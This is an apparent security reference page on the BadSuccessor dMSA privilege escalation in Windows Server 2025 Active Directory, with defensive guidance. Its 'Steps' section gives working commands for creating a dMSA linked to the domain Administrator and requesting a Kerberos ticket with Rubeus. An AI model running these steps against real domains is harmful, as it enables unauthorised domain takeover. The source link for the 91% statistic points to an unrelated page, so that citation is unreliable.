☼
⌃
☰

BadSuccessor CVE-2025-53779 Active Directory dMSA Privilege Escalation

Table of Contents

A privilege escalation vulnerability in Windows Server 2025 abusing delegated Managed Service Accounts (dMSA) to compromise any principal in Active Directory. Works by default with no special configuration.

Related: Active Directory Attack Path Kerberos

Description

The attack exploits the delegated Managed Service Account (dMSA) feature introduced in Windows Server 2025, works with the default configuration, and is trivial to implement. In 91% of examined environments, non-admin users had the required permissions to perform the attack. [Warp](https://mcp.so/server/emacs-mcp-server/vivekhaldar?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=3bf36eb8-2607-48f7-8098-b1a8fb28f3f9)

When a controlled dMSA was linked to any account in AD, the Key Distribution Center (KDC) treated the dMSA as the successor during authentication — merging the target account's effective privileges into the dMSA's PAC and returning the target's Kerberos keys.

Requirements:

  • At least one Windows Server 2025 domain controller
  • Write/CreateChild permission on any OU (very common for non-admins)
  • Works even if dMSAs are not actively used in the domain

Steps

SHELL
# Find vulnerable OUs (run on compromised host with PowerShell)
# Clone Akamai tooling
git clone https://github.com/akamai/BadSuccessor

# Find OUs where current user can create objects
Import-Module ./BadSuccessor.ps1
Find-VulnerableOUs

# Create dMSA linked to target (e.g. Domain Admin)
New-dMSASuccessor -TargetAccount "Administrator" -OUPath "OU=Computers,DC=domain,DC=local"

# Request TGT for dMSA - inherits target's privileges
Rubeus.exe asktgt /user:dMSA_account /rc4:$HASH /domain:domain.local

Defences

  • Apply patch CVE-2025-53779 (Windows Server 2025 update)
  • Audit CreateChild permissions on all OUs
  • Monitor creation of dMSA objects and changes to msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes
  • Enable "Audit Directory Service Changes" logging

References